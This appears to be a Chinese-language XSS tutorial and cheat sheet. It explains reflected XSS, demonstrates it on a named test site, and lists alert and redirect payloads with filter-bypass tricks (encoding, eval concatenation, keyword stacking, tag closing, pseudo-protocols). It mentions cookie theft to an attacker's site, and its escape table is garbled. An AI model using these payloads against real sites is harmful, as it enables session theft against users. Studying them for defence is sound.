XSS#
-
什麼是 xss?
跨站腳本攻擊(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets,CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為 XSS。惡意攻擊者往 WEB 頁面裡插入惡意 HTML 代碼,當用戶瀏覽該頁之時,嵌入其中 Web 裡面的 HTML 代碼會被執行,從而達到惡意攻擊用戶的特殊目的。 -
xss 的危害
通過 document.cookie 盜取 cookie 中的信息
使用 js 或 css 破壞頁面正常的結構與樣式
流量劫持(通過訪問某段具有 window.location.href 定位到其他頁面)等
xss 攻擊#
反射型:
- 攻擊者提前構造一個惡意鏈接,來誘使客戶點擊,比如這樣的一段鏈接:url+
?params=<script>alert("xss攻擊")</script>
。 - 發生在與用戶交互的地方,比如輸入框
- 嘗試,網址:http://dm.unrun.top/classkey.php?page=1&classkey=
classkey 參數接受一個參數
搜索框輸入 <script>alert("xss攻擊")</script>
提交
js 代碼被執行,classkey.php 沒有對用戶輸入作處理,直接輸出,這就是 xss 反射型漏洞,實施攻擊,比如盜取用戶的 cookie
js 獲取 cookie 代碼:alert (document. cookie
然後輸入<script>alert (document. cookie)</script>
彈框顯示,盜取 cookie,dm.unrun.top
網站我沒有設置 cookie 所以是空的
這樣甚至可以寫 js 向 HK 提前準備好的網站發送信息
XSS 常用的測試語句#
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>
當字符被過濾時#
過濾空格用 / 代替空格
<img/src="x"/onerror=alert("xss");>
使用中文句號代替英文逗號
輸入中文句號瀏覽器會自動轉化成英文的逗號
<img src="x" onerror="document.location=`http://www。baidu。com`">
使用 url 編碼URL 解碼編碼
<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
用 // 可以代替 http://
<img src="x" onerror=document.location=`//www.baidu.com`>
字符拼接利用 eval
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
堆疊繞過#
script 被過濾時
伺服器替換這些關鍵詞為空
str_replace("script","");
str_replace("on","");
str_replace("src","");
str_replace("data","");
str_replace("href","");
採用:scr {% hint'script' 'script 被替換為空 ' %} ipt,o {% hint 'on' 'on 被替換為空 ' %} n,s {% hint'src' 'src 被替換為空 ' %} rc 等方法
標籤閉合繞過#
瀏覽器查找與前一個未閉合標籤最近的匹配標籤,有兩個時後一個不會被解析
<input type="text" value='<script>alert("XSS")</script>'>
前面加上'>
也就是'><script>alert("XSS")</script>
<input type="text" value=''><script>alert("XSS")</script>'>
伪協議繞過#
不能用事件觸發時用伪協議,javascript /data : 後面的代碼
<object data=javascript:alert(1)>
<a href="javascript:alert(`xss`);">xss</a>
這樣還有這樣
(alert)(1); alert(1); alert`1`;
url 解析過程#
瀏覽器對編碼解析的順序:
URL 解析 ->HTML 解析 ->CSS 解析 ->JS 解析
- 瀏覽器接收到一個 HTML 文檔時,會觸發 HTML 解析器對 HTML 文檔進行詞法解析,這一過程完成 HTML 解碼 並創建 DOM 樹;
- 接下來 JavaScript 解析器會介入對內聯腳本進行解析,這一過程完成 JS 的解碼工作;
- 如果瀏覽器遇到需要 URL 的上下文環境,這時 URL 解析器也會介入完成 URL 的解碼工作。
URL 解析器的解碼順序會根據 URL 所在位置不同,導致在 JavaScript 解析器之前或之後解析
XSS 編碼問題#
- HTML 字符實體:
在呈現 HTML 頁面時,針對某些特殊字符如 “<” 或”>” 直接使用,瀏覽器會誤以為它們標籤的開始或結束,若想正確的在 HTML 頁面呈現特殊字符就需要用到其對應的字符實體。HTML 字符實體以 & 開頭 + 預先定義的實體名稱,以分號結束,如 “<” 的實體名稱為 < 或以 & 開頭 +# 符號以及字符的十進制數字(或者 十六 進制,都能解析),如”<” 的實體編號為 <。 - JavaScript 編碼:最常用的如 “\uXXXX” 這種寫法為 Unicode 轉義序列,表示一個字符,其中 xxxx 表示一個 16 進制數字,如”<” Unicode 編碼為 “\u003c”。
- URL 編碼:% 加字符的 ASCII 編碼對於的 2 位 16 進制數字,如”/” 對應的 URL 編碼為 %2f。
常見的轉義符#
為了 xss
字符 | 轉義後的字符 |
---|---|
& | & ; |
< | < ; |
> | > ; |
" | " ; |
' | ' ; |
/ | / ; |
工具 HackBar#
HackBar 下載:https://github.com/HCTYMFF/hackbar2.1.3
HackBar 是一個瀏覽器上的一個插件,包含一些常用的工具,比如 SQL injection,XSS, 加密等
截圖
位置:F12打開 tab 欄最右側
方便對 url 編碼轉換
右側三個按鈕:加載網址 -- 切分網址 -- 執行
post 提交,眾所周知 get 參數可以寫在地址欄,post 就需要借助工具了